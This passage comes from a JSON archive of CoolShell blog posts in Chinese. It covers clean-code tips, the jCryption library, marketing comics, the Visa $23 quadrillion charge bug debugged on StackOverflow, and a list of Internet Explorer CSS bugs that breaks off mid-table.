    "content": "<html><body><p>虽然这样的文章非常的多，并且，就算是对于编程新手来说，也是非常的简单和显而见，但是，在我们进行Code Review过程中，我们还是能够看到那些非常混乱的代码，所以，有些时候，你会在想，是不是这样的规则太多了，导致我们的程序员记不住。虽然我们在以前的文章中一遍又一遍的说过（比如：《<a href=\"https://coolshell.cn/articles/1007.html\" rel=\"bookmark\">优质代码的十诫</a>》），千言万语总结一下，无论你用什么样的语言，最最基本的编程原则就是下面这四条。</p>\n<p><span id=\"more-1095\"></span></p>\n<p><strong>1 – 简短的方法</strong></p>\n<p>简单才会易读，简单才会容易，简单才能重用，简单才能保证质量。把一件事搞复杂，是一件简单的事；而把一件事变简单，这则是一件复杂的事。KISS-Keep it Simple Stupid是一种哲学，Do one thing, Do it best也是一种哲学。这些都是在告诉我们，做设计，做产品，不要把所有的东西一下子都考虑进来，否则将会让你的事情变成一团糟，剪不断理还乱，就是这样道理。把复杂的事情，困难的事情，逐步细化，分解成一个一个简单而单一的事情，然后再把他们拼装起来完成一个复杂的事情，是我们如何完成一个巨大并复杂的项目的通用方法。</p>\n<p>编程也是这个道理，维护代码的成本会比你创造代码的成本要大得多，所以，一个简短的方法不但可以有利于阅读，维护，重用，同样在进行排错调试测试的时候也能起到巨大的帮助。比如，对于一个简单的方法或函数，单元测试，功能测试，性能测试、代码覆盖，质量保证都能变得相当简单，而这些众多的质量优良的方法最终组成了那质量过硬的最终产品，并让我们在以后的代码不断改进中继续充当重要的作用。</p>\n<p><strong>2 – 选择望文知意的直观的变量名和函数名</strong></p>\n<p>无论是变量名还是方法名，都不能太长或是太短。一个好的命名，应该是“自解释的”，直观的，望文知意的。通常来说，一个好的命名应该是知道这个变量/方法要干什么事情，比如GetComputerName()，isAdmin等等，对于变量名来说，通过其名字，我们可以知道这个变量的类型（整型，浮点，指针，……），种类（全局，成员，局部，静态，……）。关于命名的事情，可以查看《<a href=\"https://coolshell.cn/articles/1038.html\" rel=\"bookmark\">编程命名中的7+1个提示</a>》和《<a href=\"https://coolshell.cn/articles/990.html\" rel=\"bookmark\">编程中的命名设计那点事</a>》查看更多的内容。</p>\n<p><strong>3 – 只写有意义的注释</strong></p>\n<p>代码写得好的话，是不需要注释的。与其花费大量的时候去写注释，还不如把这些时间花在代码重构上，简洁/易读的代码比详细的注释更有意义。另外，如果你需要使用你的注释来生成文档，那么也不需要太过复杂，这通常用来做API的文档，这个时候，关键不在于你是如何实现的，而是在于告诉别人完成什么样的事并如何使用之。总之，一句话，<strong>如果你的代码足够的简单和清楚，你是不需要写注释的</strong>。<br/>\n<strong>4 – 让你的代码可读</strong></p>\n<p>你的代码并不只是让编译器去阅读的，你的代码更应该是让你的同事和其它人阅读的。所以，一定要遵守团队内部的那些最中规中矩的编程规范或代码风格，千万不要在代码中使你的小聪明或是偷懒或是hack代码，那样做的结果只会有两个，一个是你的代码会被后人骂得一无是处，另一个就是当你在以后维护你的代码时无异于搬起石头砸了自己的脚。编码坚持最基本的两个原则—— <a href=\"http://en.wikipedia.org/wiki/Keep_it_simple_stupid\"><span style=\"color: #5588aa;\">KISS</span></a> 和<a href=\"http://en.wikipedia.org/wiki/Don%27t_repeat_yourself\"><span style=\"color: #5588aa;\">DRY</span></a>，剩下的就是顺从于自然。</p>\n<p>（全文完）<a href=\"http://tiagofernandez.blogspot.com/2009/06/4-tips-for-clean-code.html\" target=\"_blank\"></a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8990.html\"><img alt=\"Linus：利用二级指针删除单向链表\" height=\"150\" src=\"../wp-content/uploads/2013/02/linus_pointer_to_pointer-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8990.html\">Linus：利用二级指针删除单向链表</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8745.html\"><img alt=\"如此理解面向对象编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8745.html\">如此理解面向对象编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7886.html\"><img alt=\"代码执行的效率\" height=\"150\" src=\"../wp-content/uploads/2012/07/muxnt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7886.html\">代码执行的效率</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5444.html\"><img alt=\"千万不要把 bool 设计成函数参数\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5444.html\">千万不要把 bool 设计成函数参数</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5201.html\"><img alt=\"重构代码的7个阶段\" height=\"150\" src=\"../wp-content/uploads/2011/08/538efefbjw1dt8f6ua5rpg-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5201.html\">重构代码的7个阶段</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1095.html\">整洁代码的4个提示</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-8-10 Javascripts加密库.html",
    "content": "<html><body><p>一般说来，使用HTTP协议是不加密的，所有的数据都是以纯文本方式提交的，就算是你提交数据时，也是使用纯文本的方式发送。只有HTTPS协议会有SSL加密数据，但一般来说，HTTPS需要服务器端进行SSL设置，并有些麻烦。而jCryption这个jQuery插件能够加密由Forms提交的POST/GET数据。jCryption使用RSA公钥密码算法加密，另外，该项目还提供一个PHP文件来处理数据的解密。</p>\n<p><a href=\"http://www.jcryption.org/\"><img alt=\"\" height=\"121\" src=\"../wp-content/uploads/image/javascript-encyrption.jpg\" title=\"JCryption\" width=\"480\"/></a></p>\n<p><span id=\"more-1231\"></span></p>\n<p>这个库是一个开源库，也是一个同时使用MIT和GPL协议的项目。</p>\n<p>你需要注意的是，这个库无法取代SSL，使用这个库，你依然可能受到<a href=\"http://en.wikipedia.org/wiki/Man-in-the-middle_attack\" target=\"_blank\">MITM攻击</a><a href=\"http://www.jcryption.org/\"></a>（中间人攻击 Man-in-the-middle-attacks）</p>\n<p>主页：<a href=\"http://www.jcryption.org/\">http://www.jcryption.org/</a><br/>\n下载：<a href=\"http://code.google.com/p/jcryption/downloads/list\">http://code.google.com/p/jcryption/downloads/list</a><br/>\n示例：<a href=\"http://www.jcryption.org/demo/\">http://www.jcryption.org/demo/</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/265.html\"><img alt=\"深入浅出单实例Singleton设计模式\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/265.html\">深入浅出单实例Singleton设计模式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21672.html\"><img alt=\"我做系统架构的一些原则\" height=\"150\" src=\"../wp-content/uploads/2021/12/bachelor-mechanical-eng-icon@72x-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21672.html\">我做系统架构的一些原则</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9410.html\"><img alt=\"Unix考古记：一个“遗失”的shell\" height=\"150\" src=\"../wp-content/uploads/2013/04/figure1-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9410.html\">Unix考古记：一个“遗失”的shell</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4102.html\"><img alt=\"如何学好C语言\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4102.html\">如何学好C语言</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5265.html\"><img alt=\" C++11 中值得关注的几大变化（详解）\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5265.html\"> C++11 中值得关注的几大变化（详解）</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/325.html\"><img alt=\"2009年脚本语言排名\" height=\"150\" src=\"../wp-content/uploads/2009/04/overall-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/325.html\">2009年脚本语言排名</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1231.html\">Javascripts加密库</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-8-10 几个有趣的漫画.html",
    "content": "<html><body><p></p>\n<p style=\"text-align: left;\">下面的图片告诉你——行销，广告，公关，品牌有什么差别。</p>\n<p style=\"text-align: center;\"><img alt=\"\" height=\"262\" src=\"../wp-content/uploads/2009/08/adcompare1.jpg\" width=\"400\"/><br/>\n<strong>市场营销</strong></p>\n<p style=\"text-align: left;\"><span id=\"more-1234\"></span></p>\n<p style=\"text-align: center;\"><img alt=\"\" height=\"264\" src=\"../wp-content/uploads/2009/08/adcompare2.jpg\" width=\"400\"/><br/>\n<strong>公共关系(软文)</strong></p>\n<p style=\"text-align: center;\"><img alt=\"\" height=\"264\" src=\"../wp-content/uploads/2009/08/adcompare3.jpg\" title=\"adcompare3\" width=\"400\"/><br/>\n<strong>广告</strong></p>\n<p style=\"text-align: center;\"><img alt=\"\" height=\"280\" src=\"../wp-content/uploads/2009/08/adcompare4.jpg\" width=\"400\"/><br/>\n<strong>品牌</strong></p>\n<p style=\"text-align: left;\">那么，Apple，Google和你的公司的差别是什么呢？</p>\n<p style=\"text-align: center;\"><img alt=\"\" height=\"700\" src=\"../wp-content/uploads/2009/08/googleproduct.jpg\" width=\"362\"/></p>\n<p style=\"text-align: left;\"> </p>\n<p style=\"text-align: left;\">最后，让我们来看一个“真人版”的眼神跟着鼠标走的FLASH吧，单击下面的图片访问网站：<a href=\"http://cubo.cc/\" target=\"_blank\">http://cubo.cc/</a></p>\n<p style=\"text-align: center;\"><a href=\"http://cubo.cc/\" target=\"_blank\"><img alt=\"\" class=\"size-full wp-image-1240 aligncenter\" height=\"371\" src=\"../wp-content/uploads/2009/08/flashanimation.jpg\" width=\"375\"/></a></p>\n<p> </p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22398.html\"><img alt=\"我看ChatGPT: 为啥谷歌掉了千亿美金\" height=\"150\" src=\"../wp-content/uploads/2023/02/chatgpt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22398.html\">我看ChatGPT: 为啥谷歌掉了千亿美金</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1044.html\"><img alt=\"高级Unix命令\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1044.html\">高级Unix命令</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/399.html\"><img alt=\"一个排序算法比较的网站\" height=\"150\" src=\"../wp-content/uploads/2009/04/sort-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/399.html\">一个排序算法比较的网站</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3540.html\"><img alt=\"一段Javascript的代码\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3540.html\">一段Javascript的代码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/336.html\"><img alt=\"超过100本的linux免费书籍\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/336.html\">超过100本的linux免费书籍</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11629.html\"><img alt=\"「我只是认真」聊聊工匠情怀\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11629.html\">「我只是认真」聊聊工匠情怀</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1234.html\">几个有趣的漫画</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-8-11 23,148,855,308,184,500.html",
    "content": "<html><body><p> 上个月VISA信用卡出事了，某个美国人在加油站买了一包香烟，于是他的信用卡里就有了标题那个数字的钱“$23,148,855,308,184,500”，注意这可以美刀啊，相当于美国整个国家国债的N倍。</p>\n<p>程序员们开始疯狂了，他们在stackoverflow.com上开始人肉debug这个问题（<a href=\"http://stackoverflow.com/questions/1133581/is-23-148-855-308-184-500-a-magic-number-or-sheer-chance\" target=\"_blank\">贴子</a>）。排名第一的回答（564 votes）说，这个数字转成十六进制是：0x2020 2020 2020 1250，很明显，前面的若干个0X20表示的是空格，也就是说，程序错误地处理了空格。于是本回答后的跟贴把这个回答推举成了本年度最牛的debug——”best debug of the year”，后面还有人说这个人应该在NASA工作，继而有人跟贴，应该是VISA而不是NASA……</p>\n<p>当然，也有人有不同的意见……</p>\n<p><span id=\"more-1242\"></span></p>\n<p>排名第二个贴子(仅有排名第一的零头 67 votes)发表了不同的意见，贴主说，VISA报道说当时全球在那个星期内发生了大约13000起这样的事情，而且，全世界在报道相似的事情（<a href=\"http://www.credit.com/news/personal-finance/2009-07-18/customers-see-erroneous-credit-card-charges-of-23-quadrillion.html\" rel=\"nofollow\">报道一</a>，<a href=\"http://www.1010wins.com/Visa-Accidentally-Bills-New-York-Teen--23-Quadrill/4867372\" target=\"_self\">报道二</a>），但所有的报道都是相同的数字——23,148,855,308,184,500。如果前面是空格，那么最后的一个字节是，0x1250怎么可能会是一样的呢？所以，他并不认为空格被解释了，他觉得一定是某个地方出错了，并不像一楼所说的那么简单。</p>\n<p><img alt=\"Josh Muszynski’s Statement\" src=\"http://img44.imageshack.us/img44/8681/joshmuszynski.jpg\"/></p>\n<p><img alt=\"Jason Bryant’s Statement\" src=\"http://img265.imageshack.us/img265/38/jasonbryant.jpg\"/> </p>\n<p><img alt=\"Ron Seale\" src=\"http://img34.imageshack.us/img34/6412/ronseale.jpg\"/></p>\n<p><img alt=\"Teenage Girl\" src=\"http://img193.imageshack.us/img193/4076/teenagegirl.jpg\"/><br/>\n<img alt=\"Elizabeth Lewis\" src=\"http://www.wasecacountynews.com/files/image/article/full_3335.jpg\"/></p>\n<p>为什么说这个事呢？主要有两个目的：</p>\n<ul>\n<li>其一、软件总是会有很多Bug要我们去debug，bug的症状并不代表着那就是Bug的原因，但通过Bug的症状推理出Bug的原因，有时候真是很像一个侦探要做的事情，从上面的这个故事中，我们可以看出这样的能力的重要性。要有这样的推理能力，需要有很强的基础知识，以及丰富的经验。</li>\n<li>其二、<a href=\"http://stackoverflow.com/\" target=\"_blank\">StackOverflow.com</a>是一个很不错的类似于“百度知道”但要比其好N倍的与编程相关的站点，相当的不错，你会经常光顾这个站点吗？</li>\n</ul>\n<p>最后，大家可以看看这个贴子后面的一些人的相法，各种说法都有，包括一个灌水的，来轻松一下：</p>\n<p style=\"padding-left: 30px;\">That’s the exact amount I intend leaving to my children after I’m dead.</p>\n<p>呵呵。（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22320.html\"><img alt=\"eBPF 介绍\" height=\"150\" src=\"../wp-content/uploads/2022/12/eBPF-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22320.html\">eBPF 介绍</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5075.html\"><img alt=\"你确信你了解时间吗？\" height=\"150\" src=\"../wp-content/uploads/2011/07/Time-changes-in-year-1927-for-China-–-ShanghaiS-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5075.html\">你确信你了解时间吗？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3721.html\"><img alt=\"Stack Exchange 的架构\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3721.html\">Stack Exchange 的架构</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2529.html\"><img alt=\"StackOverflow的404错误页\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2529.html\">StackOverflow的404错误页</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1719.html\"><img alt=\"橡皮鸭程序调试法\" height=\"150\" src=\"../wp-content/uploads/2009/11/Rubber-Duck-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1719.html\">橡皮鸭程序调试法</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1525.html\"><img alt=\"GDB 7.0 发布\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1525.html\">GDB 7.0 发布</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1242.html\">23,148,855,308,184,500</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-8-12 IE的CSS相关的BUG.html",
    "content": "<html><body><p><img alt=\"ie-bug\" class=\"alignright\" height=\"172\" src=\"../wp-content/uploads/2009/08/ie-bug.jpg\" title=\"ie-bug\" width=\"172\"/>这个网页（<a href=\"http://haslayout.net/css/index\">http://haslayout.net/css/index</a>）上例举了所有的IE和CSS相关的BUG。如果你在开发网页的时候，你需要看看。</p>\n<p>目前，这个网站上包含了 <strong>28 个“普通的Bug”</strong> ， <strong>4 个“布局方面的Bug”</strong> ， <strong>6 个“可以绕开的Bug”</strong> 以及 <strong>1 个“IE崩溃的Bug”</strong>，所有的这些Bug有39个指南和48个解决方法。这个列表目前更新到 <strong>2009年8月11日，19:50:22 </strong></p>\n<p>下面是所有的bug列表，你可以点击每个BUG名的链接查看更详细的说明。</p>\n<h4>普通Bug</h4>\n<p>这部分 <abbr title=\"Internet Explorer\">IE</abbr> 的 bug 是比较普通的无法归到其它种类，或是同时属于多个种类的Bug。</p>\n<p><span id=\"more-1245\"></span></p>\n<table border=\"0\">\n<thead>\n<tr>\n<th>名称</th>\n<th>IE的版本</th>\n<th>描述</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><a href=\"http://haslayout.net/css/view?tut=Hover-White-Background-Ignore-Bug\" title=\"'Hover White Background Ignore Bug' tutorial\">Hover White Background Ignore Bug</a></td>\n<td>IE7</td>\n<td>background 不会因为 :hover而改变</td>\n</tr>\n<tr>\n<td><a href=\"http://haslayout.net/css/view?tut=IE7-Child-Selector-Comment-Bug\" title=\"'IE7 Child Selector Comment Bug' tutorial\">IE7 Child Selector Comment Bug</a></td>\n<td>IE7</td>\n<td>一个 selector 包含了一个子的selector，如果后面跟着一个注释，则会被完全忽略。</td>\n</tr>\n<tr>\n<td><a href=\"http://haslayout.net/css/view?tut=Star-HTML-Bug\" title=\"'Star HTML Bug' tutorial\">Star HTML Bug</a></td>\n<td>IE6</td>\n<td>* html selector 在 IE6 中没有被忽略</td>\n</tr>\n<tr>\n<td><a href=\"http://haslayout.net/css/view?tut=IE6--important-Ignore-Bug\" title=\"'IE6 !important Ignore Bug' tutorial\">IE6 !important Ignore Bug</a></td>\n<td>IE6</td>\n<td>!important 关键字会忽略，如果有相同的属性被设置了</td>\n</tr>\n<tr>\n<td><a href=\"http://haslayout.net/css/view?tut=PNG-Image-and-Background-Color-Mismatch\" title=\"'PNG Image and Background Color Mismatch' tutorial\">PNG Image and Background Color Mismatch</a></td>\n<td>IE8 及以下版本</td>\n<td>背景颜色和指定的图片的颜色不一致。而他们本来是一致的。IE认为这是他一个Feature。太可笑了。</td>\n</tr>\n<tr>\n<td><a href=\"http://haslayout.net/css/view?tut=No-Auto-Margin-Center-Pseudo-Bug\" title=\"'No Auto Margin Center Pseudo-Bug' tutorial\">No Auto Margin Center Pseudo-Bug</a></td>\n<td>IE8 及以下版本</td>\n<td>如果把margins 设置成 <code class=\"EnlighterJSRAW\">auto</code> ，IE不会把组件放置在中间的位置。所有的浏览器都会，只有IE不会。</td>\n</tr>\n<tr>\n<td><a href=\"http://haslayout.net/css/view?tut=-first-line--important-Rule-Ignore-Bug\" title=\"':first-line !important Rule Ignore Bug' tutorial\">:first-line !important Rule Ignore Bug</a></td>\n<td>IE8</td>\n<td>如果在伪class  :first-line 内使用!important，那么其所有定义会被忽略。</td>\n</tr>\n<tr>\n<td><a href=\"http://haslayout.net/css/view?tut=-first-letter-Ignore-Bug\" title=\"':first-letter Ignore Bug' tutorial\">:first-letter Ignore Bug</a></td>\n<td>IE6</td>\n<td>整个:first-letter 的属性定义会被除数完全忽略。</td>\n</tr>\n<tr>\n<td><a href=\"http://haslayout.net/css/view?tut=-first-letter--important-Rule-Ignore-Bug\" title=\"':first-letter !important Rule Ignore Bug' tutorial\">:first-letter !important Rule Ignore Bug</a></td>\n<td>IE8</td>\n<td>如果在伪class  :first-letter内使用!important，那么其所有定义会被忽略。</td>\n</tr>\n<tr>\n<td><a href=\"http://haslayout.net/css/view?tut=Partial-Click-Bug-v2\" title=\"'Partial Click Bug v2' tutorial\">Partial Click Bug v2</a></td>\n<td>IE8以</td>\n<td>设置了整个区域是可以点击的，但在IE中只有文本可以点击。</td>\n</tr>\n<tr>\n<td><a href=\"http://haslayout.net/css/view?tut=Staircase-Bug\" title=\"'Staircase Bug' tutorial\">Staircase Bug</a></td>\n<td>below IE8</td>\n<td>浮动的元素排序起来就像一个楼梯。</td>\n</tr>\n<tr>\n<td><a href=\"http://haslayout.net/css/view?tut=Disappearing-List-Background-Bug\" title=\"'Disappearing List Background Bug' tutorial\">Disappearing List Background Bug</a></td>\n<td>IE6</td>\n<td>B &lt;li&gt;, &lt;dt&gt;, &lt;dd&gt; 没有背景。</td>\n</tr>\n<tr>\n<td><a href=\"http://haslayout.net/css/view?tut=noscript-Ghost-Bug\" title=\"'noscript Ghost Bug' tutorial\">noscript Ghost Bug</a></td>\n<td>IE8 and below</td>\n<td>&lt;noscript&gt; 标识中只有 borders/background 才有用。</td>\n</tr>\n<tr>\n<td><a href=\"http://haslayout.net/css/view?tut=No-Transparency-Click-Bug\" title=\"'No Transparency Click Bug' tutorial\">No Transparency Click Bug</a></td>\n<td>IE8 and below</td>\n<td>背景透明的图片在作为链接时，并且其“filter”被设置成了PNG透明，但其背景还是不可点击。</td>\n</tr>\n<tr>\n<td><a href=\"http://haslayout.net/css/view?tut=List-Drop-Shift-Bug\" title=\"'List Drop Shift Bug' tutorial\">List Drop Shift Bug</a></td>\n<td>IE8</td>\n<td>在&lt;li&gt;中的内容被换行了。</td>\n</tr>\n<tr>\n<td><a href=\"http://haslayout.net/css/view?tut=No-Increase-on--ol--Numbers-Bug\" title=\"'No Increase on &lt;ol&gt; Numbers Bug' tutorial\">No Increase on &lt;ol&gt; Numbers Bug</a></td>\n<td>below IE8</td>\n<td>&lt;ol&gt; 中的 &lt;li&gt; 列表序号不会增加。</td>\n</tr>\n<tr>\n<td><a href=\"http://haslayout.net/css/view?tut=No-Bullets-on--ul--and--ol--Bug\" title=\"'No Bullets on &lt;ul&gt; and &lt;ol&gt; Bug' tutorial\">No Bullets on &lt;ul&gt; and &lt;ol&gt; Bug</a></td>\n<td>below IE8</td>\n<td>在&lt;ul&gt; 和 &lt;ol&gt; 中看不到列表序号/数字了。</td>\n</tr>\n<tr>\n<td><a href=\"http://haslayout.net/css/view?tut=No-line-height-Vertical-Center-on-Images-Bug\" title=\"'No line-height Vertical Center on Images Bug' tutorial\">No line-height Vertical Center on Images Bug</a></td>\n<td>IE8以下版</td>\n<td>图片使用line-height 方法不能垂直居中</td>\n</tr>\n<tr>\n<td><a href=\"http://haslayout.net/css/view?tut=No-Background-Image-Bug\" title=\"'No Background Image Bug' tutorial\">No Background Image Bug</a></td>\n<td>IE8及以下版</td>\n<td>在IE中使用background无法定义背景图</td>\n</tr>\n<tr>\n<td><a href=\"http://haslayout.net/css/view?tut=Custom-Cursor-Bug\" title=\"'Custom Cursor Bug' tutorial\">Custom Cursor Bug</a></td>\n<td>IE8及以下版</td>\n<td>自定义鼠标不工作</td>\n</tr>\n<tr>\n<td><a href=\"http://haslayout.net/css/view?tut=Leaking-Background-Bug\" title=\"'Leaking Background Bug' tutorial\">Leaking Background 